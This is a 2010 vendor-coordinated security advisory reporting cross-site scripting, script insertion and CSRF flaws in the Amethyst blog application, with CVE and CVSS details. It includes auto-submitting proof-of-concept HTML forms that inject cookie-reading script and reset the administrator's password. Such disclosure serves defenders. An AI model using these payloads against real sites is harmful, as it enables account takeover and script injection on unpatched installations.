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Multiple Vulnerabilities in Amethyst

Advisory ID:HTB22499
Product:Amethyst
Vendor:Hulihan Applications
Vulnerable Versions:0.1.5 and probably prior
Tested Version:0.1.5
Advisory Publication:July 22, 2010 [without technical details]
Vendor Notification:July 22, 2010
Public Disclosure:August 5, 2010
Latest Update:July 26, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2010-5085
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Amethyst which could be exploited to perform cross-site scripting, script insertion and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in Amethyst
The vulnerability exists due to input sanitation error in the "setting[site_title]" parameter in admin/update_settings. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='My blog"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_description]" value="Welcome to My Amethyst Blog!" />
<input type="hidden" name="setting[site_keywords]" value="amethyst blog, xss" />
<input type="hidden" name="setting[enable_site_title]" value="1" />
<input type="hidden" name="setting[posts_per_page]" value="10" />
<input type="hidden" name="setting[archive_months_to_show]" value="12" />
<input type="hidden" name="setting[enable_menu_archive]" value="1" />
<input type="hidden" name="setting[enable_menu_search]" value="1" />
<input type="hidden" name="setting[enable_menu_tools]" value="0" />
<input type="hidden" name="setting[enable_menu_other]" value="1" />
<input type="hidden" name="setting[item_thumbnail_width]" value="100" />
<input type="hidden" name="setting[item_thumbnail_height]" value="100" />
<input type="hidden" name="setting[resize_item_images]" value="0" />
<input type="hidden" name="setting[item_image_width]" value="500" />
<input type="hidden" name="setting[item_image_height]" value="500" />
<input type="hidden" name="commit" value="Update Settings" />
</form>
<script>
document.main.submit();
</script>


2) Script insertion vulnerability in Amethyst
Input passed to the all fields in browse/create_comment is not properly sanitized when edited by administrator. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when site`s administrator modifies the comment.

3) Cross-site request forgery (CSRF) vulnerabilities in Amethyst: CVE-2010-5085
3.1 The vulnerability exists due to insufficient validation of the request origin in admin/update_user/. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/admin/update_user/1" method="post" name="main" >
<input type="hidden" name="user[username]" value="admin" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>

3.2 The vulnerability exists due to insufficient validation of the request origin in admin/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new publication.
Exploitation example:
<form action="http://host/admin/update/2" method="post" name="main" >
<input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="post[content]" value="this is my post" />
<input type="hidden" name="post[created_at(1i)]" value="2010" />
<input type="hidden" name="post[created_at(2i)]" value="7" />
<input type="hidden" name="post[created_at(3i)]" value="15" />
<input type="hidden" name="post[created_at(4i)]" value="20" />
<input type="hidden" name="post[created_at(5i)]" value="39" />
<input type="hidden" name="post[updated_at(1i)]" value="2010" />
<input type="hidden" name="post[updated_at(2i)]" value="7" />
<input type="hidden" name="post[updated_at(3i)]" value="15" />
<input type="hidden" name="post[updated_at(4i)]" value="20" />
<input type="hidden" name="post[updated_at(5i)]" value="39" />
<input type="hidden" name="commit" value="Create" />
</form>
<script>
document.main.submit();
</script>


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Solution:
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References:
[1] High-Tech Bridge Advisory HTB22499 - https://www.htbridge.com/advisory/HTB22499 - Multiple Vulnerabilities in Amethyst
[2] Amethyst - http://hulihanapplications.com/projects/amethyst - Amethyst is an open source, ruby on rails based blog application.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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